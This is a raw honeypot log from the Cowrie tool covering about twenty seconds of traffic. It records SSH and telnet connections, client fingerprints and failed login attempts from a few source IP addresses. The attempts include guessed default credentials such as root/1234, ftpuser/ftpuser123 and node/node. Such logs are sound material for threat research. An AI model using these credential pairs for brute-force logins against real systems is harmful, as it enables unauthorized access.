{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":31830,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c715e08d08b","protocol":"ssh","message":"New connection: 45.156.87.69:31830 (159.203.135.109:22) [session: 7c715e08d08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:03.492806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:03.512089Z","src_ip":"45.156.87.69","session":"7c715e08d08b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19871987","message":"login attempt [root/19871987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:03.580645Z","src_ip":"109.237.96.109","session":"13f7cea9b378","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:04.071226Z","src_ip":"45.156.87.69","session":"7c715e08d08b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.933279275894165,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:04.429510Z","src_ip":"152.42.224.71","session":"75286d4e63bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:04.675172Z","src_ip":"109.237.96.109","session":"13f7cea9b378","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.213431596755981,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:05.195230Z","src_ip":"167.94.146.53","session":"7801e71ab9ed","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"fox","password":"fox","message":"login attempt [fox/fox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:05.230088Z","src_ip":"45.156.87.69","session":"7c715e08d08b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0018630027771,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:05.862013Z","src_ip":"186.193.55.224","session":"abbec4a546f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.193.55.224","src_port":30676,"dst_ip":"159.203.135.109","dst_port":23,"session":"428b8ff33a9c","protocol":"telnet","message":"New connection: 186.193.55.224:30676 (159.203.135.109:23) [session: 428b8ff33a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:06.101828Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:06.394282Z","src_ip":"45.156.87.69","session":"7c715e08d08b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":58790,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f553052e9f4","protocol":"ssh","message":"New connection: 45.156.87.69:58790 (159.203.135.109:22) [session: 5f553052e9f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:07.473977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:07.479494Z","src_ip":"45.156.87.69","session":"5f553052e9f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:07.596098Z","src_ip":"45.156.87.69","session":"5f553052e9f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.000967502594,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:08.293066Z","src_ip":"186.193.55.224","session":"2779ff81efb6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"123","message":"login attempt [ts3/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:08.371893Z","src_ip":"45.156.87.69","session":"5f553052e9f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.146.53","src_port":3648,"dst_ip":"10.17.0.5","dst_port":23,"session":"7daedc4645d2","protocol":"telnet","message":"New connection: 167.94.146.53:3648 (10.17.0.5:23) [session: 7daedc4645d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:08.473380Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.193.55.224","src_port":28659,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c511e777988","protocol":"telnet","message":"New connection: 186.193.55.224:28659 (159.203.135.109:23) [session: 1c511e777988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:09.555403Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:09.612966Z","src_ip":"45.156.87.69","session":"5f553052e9f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":58796,"dst_ip":"159.203.135.109","dst_port":22,"session":"32567b72d05d","protocol":"ssh","message":"New connection: 45.156.87.69:58796 (159.203.135.109:22) [session: 32567b72d05d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:11.256695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:11.428092Z","src_ip":"45.156.87.69","session":"32567b72d05d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:11.448068Z","src_ip":"45.156.87.69","session":"32567b72d05d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.698042392730713,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:12.171284Z","src_ip":"167.94.146.53","session":"7daedc4645d2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"cp","password":"cp","message":"login attempt [cp/cp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:12.248892Z","src_ip":"45.156.87.69","session":"32567b72d05d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:13.396786Z","src_ip":"45.156.87.69","session":"32567b72d05d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":58810,"dst_ip":"159.203.135.109","dst_port":22,"session":"729685521b5c","protocol":"ssh","message":"New connection: 45.156.87.69:58810 (159.203.135.109:22) [session: 729685521b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:15.134933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:15.175239Z","src_ip":"45.156.87.69","session":"729685521b5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:15.254724Z","src_ip":"45.156.87.69","session":"729685521b5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:15.579144Z","src_ip":"45.156.87.69","session":"729685521b5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.146.53","src_port":3720,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d64adbc8b2d","protocol":"telnet","message":"New connection: 167.94.146.53:3720 (10.17.0.5:23) [session: 1d64adbc8b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:15.694221Z"}
{"eventid":"cowrie.session.closed","duration":120.00254845619202,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:15.820076Z","src_ip":"152.42.224.71","session":"436898542472","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:16.713339Z","src_ip":"45.156.87.69","session":"729685521b5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":50304,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7d669d6e392","protocol":"ssh","message":"New connection: 45.156.87.69:50304 (159.203.135.109:22) [session: f7d669d6e392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:18.917519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:18.923229Z","src_ip":"45.156.87.69","session":"f7d669d6e392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:19.023084Z","src_ip":"45.156.87.69","session":"f7d669d6e392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:19.416392Z","src_ip":"45.156.87.69","session":"f7d669d6e392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:20.509817Z","src_ip":"45.156.87.69","session":"f7d669d6e392","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":50312,"dst_ip":"159.203.135.109","dst_port":22,"session":"a36bfefa201a","protocol":"ssh","message":"New connection: 45.156.87.69:50312 (159.203.135.109:22) [session: a36bfefa201a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:22.738024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:22.748409Z","src_ip":"45.156.87.69","session":"a36bfefa201a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:22.860922Z","src_ip":"45.156.87.69","session":"a36bfefa201a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tomtom1","message":"login attempt [root/tomtom1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:23.754466Z","src_ip":"45.156.87.69","session":"a36bfefa201a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:25.038424Z","src_ip":"45.156.87.69","session":"a36bfefa201a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":47608,"dst_ip":"10.17.0.5","dst_port":22,"session":"881978cd04a7","protocol":"ssh","message":"New connection: 193.32.162.145:47608 (10.17.0.5:22) [session: 881978cd04a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:25.279202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:25.283966Z","src_ip":"193.32.162.145","session":"881978cd04a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:25.389921Z","src_ip":"193.32.162.145","session":"881978cd04a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:25.719380Z","src_ip":"193.32.162.145","session":"881978cd04a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.126854419708252,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:25.820960Z","src_ip":"167.94.146.53","session":"1d64adbc8b2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":24794,"dst_ip":"159.203.135.109","dst_port":22,"session":"50c5ee3c2ad7","protocol":"ssh","message":"New connection: 45.156.87.69:24794 (159.203.135.109:22) [session: 50c5ee3c2ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:26.253014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:26.257892Z","src_ip":"45.156.87.69","session":"50c5ee3c2ad7","protocol":"ssh"}
